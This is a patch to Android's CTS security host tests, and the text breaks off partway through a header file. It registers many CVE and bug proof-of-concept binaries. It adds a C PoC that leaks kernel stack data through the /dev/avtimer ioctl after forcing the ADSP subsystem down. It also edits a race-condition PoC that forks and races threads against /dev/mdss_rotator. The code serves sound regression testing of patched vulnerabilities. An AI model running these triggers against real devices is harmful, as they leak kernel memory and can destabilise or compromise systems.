index 7e7cd91..b3b6ad1 100644
--- a/hostsidetests/sample/app/Android.mk
+++ b/hostsidetests/sample/app/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSampleDeviceApp
diff --git a/hostsidetests/sample/app2/Android.mk b/hostsidetests/sample/app2/Android.mk
index 0900f1f..845f51a 100644
--- a/hostsidetests/sample/app2/Android.mk
+++ b/hostsidetests/sample/app2/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSampleDeviceApp2
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index ffb5add..f209153 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_TAGS := optional
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Must match the package name in CtsTestCaseList.mk
LOCAL_MODULE := CtsSecurityHostTestCases
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 7b10600..d4cf524 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -63,22 +63,56 @@
<!-- Bulletin 2017-01 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-8457->/data/local/tmp/CVE-2016-8457" />
+ <option name="push" value="CVE-2016-8456->/data/local/tmp/CVE-2016-8456" />
+ <option name="push" value="CVE-2016-8455->/data/local/tmp/CVE-2016-8455" />
+
<!--__________________-->
<!-- Bulletin 2017-02 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-8420->/data/local/tmp/CVE-2016-8420" />
+ <option name="push" value="CVE-2016-8476->/data/local/tmp/CVE-2016-8476" />
+ <option name="push" value="CVE-2017-0441->/data/local/tmp/CVE-2017-0441" />
+ <option name="push" value="CVE-2017-0438->/data/local/tmp/CVE-2017-0438" />
+ <option name="push" value="CVE-2016-8481->/data/local/tmp/CVE-2016-8481" />
+ <option name="push" value="CVE-2017-0436->/data/local/tmp/CVE-2017-0436" />
+ <option name="push" value="CVE-2017-0445->/data/local/tmp/CVE-2017-0445" />
+ <option name="push" value="CVE-2017-0437->/data/local/tmp/CVE-2017-0437" />
<!--__________________-->
<!-- Bulletin 2017-03 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-0453->/data/local/tmp/CVE-2017-0453" />
+ <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
+ <option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
+ <option name="push" value="CVE-2017-0333->/data/local/tmp/CVE-2017-0333" />
+ <option name="push" value="CVE-2017-0463->/data/local/tmp/CVE-2017-0463" />
+ <option name="push" value="CVE-2017-0519->/data/local/tmp/CVE-2017-0519" />
+ <option name="push" value="CVE-2017-0520->/data/local/tmp/CVE-2017-0520" />
+ <option name="push" value="CVE-2017-0457->/data/local/tmp/CVE-2017-0457" />
+ <option name="push" value="CVE-2017-0460->/data/local/tmp/CVE-2017-0460" />
+ <option name="push" value="CVE-2017-0456->/data/local/tmp/CVE-2017-0456" />
+ <option name="push" value="CVE-2017-0521->/data/local/tmp/CVE-2017-0521" />
+
<!--__________________-->
<!-- Bulletin 2017-04 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-0545->/data/local/tmp/CVE-2017-0545" />
+ <option name="push" value="Bug-32551280->/data/local/tmp/Bug-32551280" />
+
<!--__________________-->
<!-- Bulletin 2017-05 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-10283->/data/local/tmp/CVE-2016-10283" />
+ <option name="push" value="CVE-2017-0624->/data/local/tmp/CVE-2017-0624" />
+ <option name="push" value="CVE-2016-10288->/data/local/tmp/CVE-2016-10288" />
+ <option name="push" value="CVE-2017-0465->/data/local/tmp/CVE-2017-0465" />
+ <option name="push" value="CVE-2016-10289->/data/local/tmp/CVE-2016-10289" />
+ <option name="push" value="CVE-2016-10290->/data/local/tmp/CVE-2016-10290" />
+
<!--__________________-->
<!-- Bulletin 2017-06 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
@@ -87,6 +121,7 @@
<option name="push" value="Bug-35047217->/data/local/tmp/Bug-35047217" />
<option name="push" value="Bug-35048450->/data/local/tmp/Bug-35048450" />
<option name="push" value="Bug-35644815->/data/local/tmp/Bug-35644815" />
+ <option name="push" value="Bug-35216793->/data/local/tmp/Bug-35216793" />
<!--__________________-->
<!-- Bulletin 2017-07 -->
@@ -100,7 +135,6 @@
<option name="push" value="Bug-35950805->/data/local/tmp/Bug-35950805" />
<option name="push" value="Bug-35139833->/data/local/tmp/Bug-35139833" />
<option name="push" value="Bug-35468048->/data/local/tmp/Bug-35468048" />
- <option name="push" value="Bug-35470735->/data/local/tmp/Bug-35470735" />
<!--__________________-->
<!-- Bulletin 2017-08 -->
@@ -112,6 +146,8 @@
<option name="push" value="CVE-2017-9692->/data/local/tmp/CVE-2017-9692" />
<option name="push" value="Bug-35764875->/data/local/tmp/Bug-35764875" />
<option name="push" value="Bug-35644510->/data/local/tmp/Bug-35644510" />
+ <option name="push" value="CVE-2017-9680->/data/local/tmp/CVE-2017-9680" />
+ <option name="push" value="Bug-36818198->/data/local/tmp/Bug-36818198" />
<!--__________________-->
<!-- Bulletin 2017-09 -->
@@ -119,6 +155,23 @@
<option name="push" value="Bug-33039685->/data/local/tmp/Bug-33039685" />
<option name="push" value="Bug-35676417->/data/local/tmp/Bug-35676417" />
+ <option name="push" value="Bug-35644812->/data/local/tmp/Bug-35644812" />
+ <option name="push" value="Bug-36492827->/data/local/tmp/Bug-36492827" />
+
+ <!--__________________-->
+ <!-- Bulletin 2017-10 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <option name="push" value="Bug-62058746->/data/local/tmp/Bug-62058746" />
+ <option name="push" value="Bug-37093119->/data/local/tmp/Bug-37093119" />
+ <option name="push" value="Bug-36817053->/data/local/tmp/Bug-36817053" />
+ <option name="push" value="Bug-36730104->/data/local/tmp/Bug-36730104" />
+
+ <!--__________________-->
+ <!-- Bulletin 2017-11 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <option name="push" value="CVE-2017-6264->/data/local/tmp/CVE-2017-6264" />
<option name="append-bitness" value="true" />
</target_preparer>
diff --git a/hostsidetests/security/res/cve_2017_0859.mp4 b/hostsidetests/security/res/cve_2017_0859.mp4
new file mode 100644
index 0000000..1313815
--- /dev/null
+++ b/hostsidetests/security/res/cve_2017_0859.mp4
Binary files differ
diff --git a/hostsidetests/security/securityPatch/Bug-32551280/Android.mk b/hostsidetests/security/securityPatch/Bug-32551280/Android.mk
new file mode 100644
index 0000000..df388cd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-32551280/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-32551280
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-32551280/poc.c b/hostsidetests/security/securityPatch/Bug-32551280/poc.c
new file mode 100644
index 0000000..5d852c7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-32551280/poc.c
@@ -0,0 +1,89 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/wait.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define MAJOR_NUM 100
+
+#define IOCTL_GET_AVTIMER_TICK _IOR(MAJOR_NUM, 0, uint64_t)
+
+static int subsystem_get(void) {
+ int fd, ret;
+ unsigned long buf;
+ char *cmd[3] = {"get", "put", "restart"};
+
+ fd = open("/sys/kernel/debug/msm_subsys/adsp", O_RDWR);
+ if (fd == -1) {
+ return -1;
+ }
+
+ ret = write(fd, cmd[0], sizeof("get"));
+
+ close(fd);
+
+ return 0;
+}
+
+static int subsystem_put(void) {
+ int fd, ret;
+ unsigned long buf;
+ char *cmd[3] = {"get", "put", "restart"};
+
+ fd = open("/sys/kernel/debug/msm_subsys/adsp", O_RDWR);
+ if (fd == -1) {
+ return -1;
+ }
+
+ ret = write(fd, cmd[1], sizeof("put"));
+
+ close(fd);
+
+ return 0;
+}
+
+int main(void) {
+ int fd, ret = 0, cmd;
+ unsigned long avtimer_tick = 0;
+
+ fd = open("/dev/avtimer", O_RDWR);
+ if (fd == -1) {
+ return -1;
+ }
+
+ subsystem_put();
+
+ cmd = IOCTL_GET_AVTIMER_TICK;
+ ret = ioctl(fd, cmd, &avtimer_tick);
+
+ printf("[+] get 64 bits kernel stack information: 0x%lx\n", avtimer_tick);
+ printf("[+] restore subsystem\n\n");
+
+ subsystem_get();
+
+ close(fd);
+
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-33039685/Android.mk b/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
index 701138d..17af326 100644
--- a/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-33299365/Android.mk b/hostsidetests/security/securityPatch/Bug-33299365/Android.mk
index 8a7b047..6ba7ed9 100644
--- a/hostsidetests/security/securityPatch/Bug-33299365/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-33299365/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/Android.mk b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
index 5178058..9c61dc0 100644
--- a/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-33863407/Android.mk b/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
index f1c32e1..f708aaf 100644
--- a/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/Android.mk b/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
index f07cf4e..a64a37c 100644
--- a/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/Android.mk b/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
index cd8d541..bbdeb63 100644
--- a/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/poc.c b/hostsidetests/security/securityPatch/Bug-34328139/poc.c
index 64337fd..2d3558d 100644
--- a/hostsidetests/security/securityPatch/Bug-34328139/poc.c
+++ b/hostsidetests/security/securityPatch/Bug-34328139/poc.c
@@ -41,7 +41,7 @@
while (cmd != 1) {
usleep(10);
}
-
+
if (cmd == -1)
goto failed;
@@ -56,7 +56,7 @@
void *threadForClose()
{
status[0] = 1;
-
+
while (cmd != 1) {
usleep(10);
}
@@ -67,7 +67,7 @@
usleep(50);
ioctl(fd, MDSS_ROTATION_CLOSE, id);
failed:
- status[0] = 2;
+ status[0] = 2;
return NULL;
}
@@ -75,36 +75,35 @@
{
int ret, i, count;
pthread_t tid[5];
- int p = 5;
-
+ int p = 5;
+
count = 0;
retry:
if (p-- > 0){
fork();
}
-
+
cmd = 0;
for (i = 0; i < 10; i++)
status[i] = 0;
-
+
fd = open("/dev/mdss_rotator", O_RDONLY, 0);
if (fd < 0) {
- return -1;
+ return -1;
}
ret = ioctl(fd, MDSS_ROTATION_OPEN, &config);
if (ret < 0) {
- goto failed;
+ goto failed;
} else {
id = config.session_id;
}
-
+
ret = pthread_create(&tid[0], NULL, threadForClose, NULL);
if (ret != 0) {
- printf("thread failed! errno:%d err:%s\n",errno,strerror(errno));
goto failed;
}
-
+
for (i = 1; i < 10; i++) {
ret = pthread_create(&tid[1], NULL, threadForConfig, (void *)(unsigned long)i);
if (ret != 0) {
@@ -130,12 +129,10 @@
|| status[9] != 2) {
usleep(50);
}
-
-
+
failed:
close(fd);
- printf("[pid:%d] try %d again!\n", getpid(), ++count);
goto retry;
- return 0;
+ return 0;
}
diff --git a/hostsidetests/security/securityPatch/Bug-34624155/Android.mk b/hostsidetests/security/securityPatch/Bug-34624155/Android.mk
index 0f1a737..95e8c24 100644
--- a/hostsidetests/security/securityPatch/Bug-34624155/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-34624155/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-35047217/Android.mk b/hostsidetests/security/securityPatch/Bug-35047217/Android.mk
index ccf6b5e..f59c682 100644
--- a/hostsidetests/security/securityPatch/Bug-35047217/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35047217/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-35047780/Android.mk b/hostsidetests/security/securityPatch/Bug-35047780/Android.mk
index d4c91bb..c9a8935 100644
--- a/hostsidetests/security/securityPatch/Bug-35047780/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35047780/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-35048450/Android.mk b/hostsidetests/security/securityPatch/Bug-35048450/Android.mk
index ea9dd89..a009f80 100644
--- a/hostsidetests/security/securityPatch/Bug-35048450/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35048450/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/Android.mk b/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
index 8865fa9..bc49a79 100644
--- a/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-35216793/Android.mk b/hostsidetests/security/securityPatch/Bug-35216793/Android.mk
new file mode 100644
index 0000000..7b7ced9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35216793/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35216793
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35216793/local_poc.h b/hostsidetests/security/securityPatch/Bug-35216793/local_poc.h
new file mode 100644
index 0000000..c7eaee0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35216793/local_poc.h
@@ -0,0 +1,345 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __CMD_H__
+#define __CMD_H__
+#include <linux/types.h>
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+#define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+#define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+#define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+#define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+#define _IOC_READ 2U
+#endif
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir, type, nr, size) \
+ (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
+ ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
+
+/* used to create numbers */
+#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
+#define _IOR(type, nr, size) \
+ _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOW(type, nr, size) \
+ _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOWR(type, nr, size) \
+ _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+
+enum v4l2_buf_type {
+ V4L2_BUF_TYPE_VIDEO_CAPTURE = 1,
+ V4L2_BUF_TYPE_VIDEO_OUTPUT = 2,
+ V4L2_BUF_TYPE_VIDEO_OVERLAY = 3,
+ V4L2_BUF_TYPE_VBI_CAPTURE = 4,
+ V4L2_BUF_TYPE_VBI_OUTPUT = 5,
+ V4L2_BUF_TYPE_SLICED_VBI_CAPTURE = 6,
+ V4L2_BUF_TYPE_SLICED_VBI_OUTPUT = 7,
+#if 1
+ /* Experimental */
+ V4L2_BUF_TYPE_VIDEO_OUTPUT_OVERLAY = 8,
+#endif
+ V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE = 9,
+ V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE = 10,
+ V4L2_BUF_TYPE_SDR_CAPTURE = 11,
+ /* Deprecated, do not use */
+ V4L2_BUF_TYPE_PRIVATE = 0x80,
+};
+
+struct v4l2_timecode {
+ __u32 type;
+ __u32 flags;
+ __u8 frames;
+ __u8 seconds;
+ __u8 minutes;
+ __u8 hours;
+ __u8 userbits[4];
+};
+
+struct v4l2_buffer {
+ __u32 index;
+ __u32 type;
+ __u32 bytesused;
+ __u32 flags;
+ __u32 field;
+ struct timeval timestamp;
+ struct v4l2_timecode timecode;
+ __u32 sequence;
+
+ /* memory location */
+ __u32 memory;
+ union {
+ __u32 offset;
+ unsigned long userptr;
+ struct v4l2_plane *planes;
+ __s32 fd;
+ } m;
+ __u32 length;
+ __u32 reserved2;
+ __u32 reserved;
+};
+
+#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
+
+enum msm_actuator_cfg_type_t {
+ CFG_GET_ACTUATOR_INFO,
+ CFG_SET_ACTUATOR_INFO,
+ CFG_SET_DEFAULT_FOCUS,
+ CFG_MOVE_FOCUS,
+ CFG_SET_POSITION,
+ CFG_ACTUATOR_POWERDOWN,
+ CFG_ACTUATOR_POWERUP,
+ CFG_ACTUATOR_INIT,
+};
+
+typedef unsigned int compat_uptr_t;
+struct msm_actuator_move_params_t32 {
+ int8_t dir;
+ int8_t sign_dir;
+ int16_t dest_step_pos;
+ int32_t num_steps;
+ uint16_t curr_lens_pos;
+ compat_uptr_t ringing_params;
+};
+
+enum actuator_type {
+ ACTUATOR_VCM,
+ ACTUATOR_PIEZO,
+ ACTUATOR_HVCM,
+ ACTUATOR_BIVCM,
+};
+
+enum i2c_freq_mode_t {
+ I2C_STANDARD_MODE,
+ I2C_FAST_MODE,
+ I2C_CUSTOM_MODE,
+ I2C_CUSTOM1_MODE,
+ I2C_CUSTOM2_MODE,
+ I2C_FAST_PLUS_MODE,
+ I2C_MAX_MODES,
+};
+
+enum msm_camera_i2c_reg_addr_type {
+ MSM_CAMERA_I2C_BYTE_ADDR = 1,
+ MSM_CAMERA_I2C_WORD_ADDR,
+ MSM_CAMERA_I2C_3B_ADDR,
+ MSM_CAMERA_I2C_ADDR_TYPE_MAX,
+};
+
+enum msm_camera_i2c_data_type {
+ MSM_CAMERA_I2C_BYTE_DATA = 1,
+ MSM_CAMERA_I2C_WORD_DATA,
+ MSM_CAMERA_I2C_DWORD_DATA,
+ MSM_CAMERA_I2C_SET_BYTE_MASK,
+ MSM_CAMERA_I2C_UNSET_BYTE_MASK,
+ MSM_CAMERA_I2C_SET_WORD_MASK,
+ MSM_CAMERA_I2C_UNSET_WORD_MASK,
+ MSM_CAMERA_I2C_SET_BYTE_WRITE_MASK_DATA,
+ MSM_CAMERA_I2C_DATA_TYPE_MAX,
+};
+
+struct park_lens_data_t {
+ uint32_t damping_step;
+ uint32_t damping_delay;
+ uint32_t hw_params;
+ uint32_t max_step;
+};
+
+struct msm_actuator_params_t32 {
+ enum actuator_type act_type;
+ uint8_t reg_tbl_size;
+ uint16_t data_size;
+ uint16_t init_setting_size;
+ uint32_t i2c_addr;
+ enum i2c_freq_mode_t i2c_freq_mode;
+ enum msm_camera_i2c_reg_addr_type i2c_addr_type;
+ enum msm_camera_i2c_data_type i2c_data_type;
+ compat_uptr_t reg_tbl_params;
+ compat_uptr_t init_settings;
+ struct park_lens_data_t park_lens;
+};
+
+struct msm_actuator_tuning_params_t32 {
+ int16_t initial_code;
+ uint16_t pwd_step;
+ uint16_t region_size;
+ uint32_t total_steps;
+ compat_uptr_t region_params;
+};
+
+struct msm_actuator_set_info_t32 {
+ struct msm_actuator_params_t32 actuator_params;
+ struct msm_actuator_tuning_params_t32 af_tuning_params;
+};
+
+struct msm_actuator_get_info_t {
+ uint32_t focal_length_num;
+ uint32_t focal_length_den;
+ uint32_t f_number_num;
+ uint32_t f_number_den;
+ uint32_t f_pix_num;
+ uint32_t f_pix_den;
+ uint32_t total_f_dist_num;
+ uint32_t total_f_dist_den;
+ uint32_t hor_view_angle_num;
+ uint32_t hor_view_angle_den;
+ uint32_t ver_view_angle_num;
+ uint32_t ver_view_angle_den;
+};
+
+#define MAX_NUMBER_OF_STEPS 47
+struct msm_actuator_set_position_t {
+ uint16_t number_of_steps;
+ uint32_t hw_params;
+ uint16_t pos[MAX_NUMBER_OF_STEPS];
+ uint16_t delay[MAX_NUMBER_OF_STEPS];
+};
+
+enum af_camera_name {
+ ACTUATOR_MAIN_CAM_0,
+ ACTUATOR_MAIN_CAM_1,
+ ACTUATOR_MAIN_CAM_2,
+ ACTUATOR_MAIN_CAM_3,
